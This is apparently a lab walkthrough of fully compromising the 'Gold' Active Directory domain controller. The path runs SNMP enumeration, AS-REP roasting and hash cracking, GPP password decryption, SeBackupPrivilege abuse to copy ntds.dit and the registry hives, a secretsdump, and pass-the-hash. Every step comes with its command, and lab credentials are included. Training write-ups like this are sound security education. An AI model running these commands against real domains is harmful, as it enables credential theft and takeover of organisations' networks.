Overview
Gold is a Windows Server 2019 machine running as an Active Directory Domain Controller for the gold.local domain (hostname EC2AMAZ-A8692EL). The path to full compromise chains together several classic AD misconfigurations:
- SNMP is exposed with the default
publiccommunity string, which we use to enumerate a list of valid domain usernames. - One of those users (
lorenzo.ferrari) hasKerberospre-authentication disabled, so weAS-REProast the account and crack the hash offline. - Those credentials let us read a Group Policy Preferences (GPP) password from SYSVOL, giving us a second, login-capable user (
nicola.greco). nicola.grecoholdsSeBackupPrivilege, which we abuse to back upntds.ditand the registry hives, dump the Administrator hash, and Pass-the-Hash to a full administrative shell.
Enumeration
Nmap
We started our enumeration with an Nmap scan of the TCP ports, pulling default scripts (-sC) and version detection (-sV).
Gold ➜ nmap -Pn -sC -sV 10.0.179.137

Nmap Scan
| Port | Service | Description |
|---|---|---|
| 53 | DNS | Generic DNS response (SERVFAIL). Typical of a Domain Controller also acting as the AD DNS server. |
| 88 | Kerberos | Microsoft Windows Kerberos. Confirms this host is a KDC, i.e. a Domain Controller. |
| 135 | MSRPC | Microsoft Windows RPC endpoint mapper. |
| 389 | LDAP | Active Directory LDAP — Domain: gold.local, Site: Default-First-Site-Name. |
| 445 | SMB | microsoft-ds — file sharing / SMB, prime target for share and SYSVOL enumeration. |
| 464 | kpasswd5 | Kerberos password-change service. |
| 593 | RPC-over-HTTP | ncacn_http — Microsoft Windows RPC over HTTP 1.0. |
| 636 | LDAPS | LDAP over SSL (tcpwrapped). |
| 3268 | LDAP (GC) | AD Global Catalog — Domain: gold.local. |
| 3269 | LDAPS (GC) | Global Catalog over SSL (tcpwrapped). |
| 3389 | RDP | ms-wbt-server. Cert CN EC2AMAZ-A8692EL.gold.local; NetBIOS domain GOLD; Product_Version 10.0.17763 (Windows Server 2019). |
| 5985 | WinRM | Microsoft HTTPAPI httpd 2.0 — Windows Remote Management, our likely foothold once we have valid creds. |
Open ports and services found by the Nmap scan
This is the standard port profile of a Windows Server acting as an Active Directory Domain Controller: Kerberos (88), LDAP (389/636/3268/3269), kpasswd (464), SMB (445) and WinRM (5985) are all present. Importantly, none of these services gave us anything useful without credentials, so we widened the search.
Nmap UDP Scan
TCP enumeration didn’t yield a foothold, so we scanned the top 50 UDP ports to look for services that are often overlooked.
Gold ➜ sudo nmap -sU -Pn --top-ports 50 10.0.179.137

Nmap UDP Scan
| Port | Service | Description |
|---|---|---|
| 53 | DNS | Domain name service, matching the DC’s DNS role seen on TCP. |
| 123 | NTP | Network Time Protocol — DCs act as a time source for the domain. |
| 161 | SNMP | Simple Network Management Protocol. This is the one we want to pursue. |
Open ports and services found by the Nmap scan
The interesting find is SNMP (161/udp). When SNMP is left on with a default community string, it often leaks system and account information.
SNMP Enumeration
With SNMP open, our goal is to read its OIDs (Object Identifiers) and look for anything useful — in this case, domain usernames.
Brute-forcing the Community String
SNMP (v1/v2c) authenticates reads with a shared “community string.” Before we can query any OID we need to know it, so we brute-force it with onesixtyone against a wordlist of common strings.
Gold ➜ onesixtyone 10.0.179.137 -c /opt/Tools/SecLists/Discovery/SNMP/snmp-onesixtyone.txt

Identified SNMP Community String
We identified the community string as public, the default read-only string that is very commonly left in place.
Retrieving OIDs
The OID 1.3.6.1.4.1.77.1.2.25 corresponds to the LAN Manager user table, which lists local/domain user accounts. We walk just that branch to pull usernames.
Gold ➜ snmpwalk -v2c -c public 10.0.179.137 1.3.6.1.4.1.77.1.2.25

Retrieved Usernames
Building the User List
We clean up the snmpwalk output into a usable list: awk extracts the value inside the quotes, and grep -vE drops the built-in Guest and krbtgt accounts.
Gold ➜ snmpwalk -v2c -c public 10.0.179.137 1.3.6.1.4.1.77.1.2.25 | awk -F'"' '{print $2}' | grep -vE '^(Guest|krbtgt)$' > users.txt

Generated Userlist
AS-REP Roasting
With a list of valid usernames, we test for accounts that have Kerberos pre-authentication disabled
Normally, when a user requests a Kerberos ticket (an AS-REQ), they must first prove they know their password by encrypting a timestamp with their password-derived key this is pre-authentication. If an account has the DONT_REQ_PREAUTH flag set, the KDC will skip that check and return an AS-REP message that contains data encrypted with the user’s password hash, to anyone who asks, without any credentials.
We found one such account: lorenzo.ferrari. Using Impacket’s GetNPUsers.py, we request AS-REP responses for all users in users.txt and save any roastable hashes in Hashcat format.
Gold ➜ GetNPUsers.py gold.local/ -no-pass -usersfile users.txt -dc-ip 10.0.179.137 -format hashcat -outputfile asrep.txt

Retrieved Hash
Cracking the Hash
The AS-REP hash uses Kerberos 5 etype 23 (RC4-HMAC), which is Hashcat mode 18200. We crack it offline against rockyou.txt.
Gold ➜ hashcat -a 0 -m 18200 user.hash /opt/Tools/rockyou.txt --show
Successfully Cracked Hash
This gives us valid credentials for lorenzo.ferrari: Liverpool1.
We could not use these credentials to log in to the machine directly (no WinRM/RDP access for this user). We also ran BloodHound to map the AD structure and confirmed that lorenzo.ferrari has no directly exploitable rights or dangerous ACL misconfigurations. The account is still useful, though read access to the domain is enough to hunt for stored credentials.
Enumerating Group Policy Preferences
Older Group Policy Preferences (GPP) could push settings like mapped drives, scheduled tasks or local-account passwords to domain machines. Those passwords were stored in XML files in SYSVOL (readable by every authenticated user), encrypted with AES but Microsoft published the static AES key in MSDN, so any domain user can decrypt them. This is tracked as MS14-025.
We use nxc (NetExec) with the gpp_password and gpp_autologin modules, authenticating as lorenzo.ferrari, to search SYSVOL for and automatically decrypt any stored GPP credentials.
Gold ➜ nxc smb 10.0.179.137 -u lorenzo.ferrari -p Liverpool1 -M gpp_password -M gpp_autologin

Discovered Credentials
We recovered credentials for a second user and this one is allowed to log in.
Exploitation
Using the recovered GPP credentials, we authenticate over WinRM with evil-winrm.
Username: nicola.greco
Password: G0ldBackup!2019
Gold ➜ evil-winrm-py -i 10.0.179.137 -u nicola.greco -p 'G0ldBackup!2019'

Successfully Logged In
We now have user-level access to the system.
Post-Enumeration
With a foothold established, we enumerate the privileges held by nicola.greco.
Whoami /priv
evil-winrm-py PS C:\Users\nicola.greco\Documents> whoami /priv

SeBackUpPrivilege Enabled
The account has SeBackupPrivilege enabled.
Post-Exploitation
SeBackupPrivilege is intended to let backup software read any file on the system, bypassing normal file ACLs. On a Domain Controller that is extremely powerful: it lets us copy the ntds.dit database (which holds every domain account’s hashes) and the SYSTEM hive (which holds the boot key needed to decrypt it). We can’t copy those files directly because they are locked by the OS, so we take a Volume Shadow Copy snapshot and read them from there.
Abusing SeBackupPrivilege
Creating the diskshadow Script
diskshadow is a signed Microsoft utility that can create shadow copies. We feed it a script that snapshots the C: drive and exposes it as drive Z:.
The script below gives diskshadow the commands it needs to snapshot the C: volume and expose it as Z::
set context persistent nowriters
set metadata c:\windows\temp\metadata.cab
set verbose on
add volume c: alias cdrive
create
expose %cdrive% z:
Running diskshadow
We run diskshadow in script mode (/s), passing the file above.
evil-winrm-py PS C:\temp> diskshadow /s shadow.txt

Diskshadow Completed
Backing Up the Registry Hives (SAM, SECURITY, SYSTEM)
With the snapshot mounted at Z:, we use robocopy /b (backup mode, which uses SeBackupPrivilege) to copy the registry hives out of the shadow copy.
evil-winrm-py PS C:\temp> robocopy /b z:\Windows\System32\Config C:\temp SAM SYSTEM SECURITY /np

Successfully Copied Hives
Backing Up NTDS.dit
We also copy the AD database from the shadow copy.
evil-winrm-py PS C:\temp> robocopy /b z:\Windows\NTDS C:\temp ntds.dit /np

Successfully Copied NTDS.dit
Retrieve Admin Hash
With the registry hives and ntds.dit copied out, we download them to our attack machine and use Impacket’s secretsdump to extract the Administrator’s NTLM hash. The SYSTEM hive holds the boot key that’s needed to decrypt the hashes stored in ntds.dit.
Gold ➜ secretsdump.py -ntds ntds.dit -system SYSTEM -security SECURITY LOCAL | grep -i admin

Retrieved Admin Hash
Logging in
Since we have the Administrator’s NTLM hash, we can use Pass-the-Hash to log in as Administrator without cracking it.
Gold ➜ evil-winrm-py -i 10.0.179.137 -u administrator -H 10ae30d606b2d4f91476414551a73c62

Successfully Logged In
We have now successfully gained administrative access to the target machine.

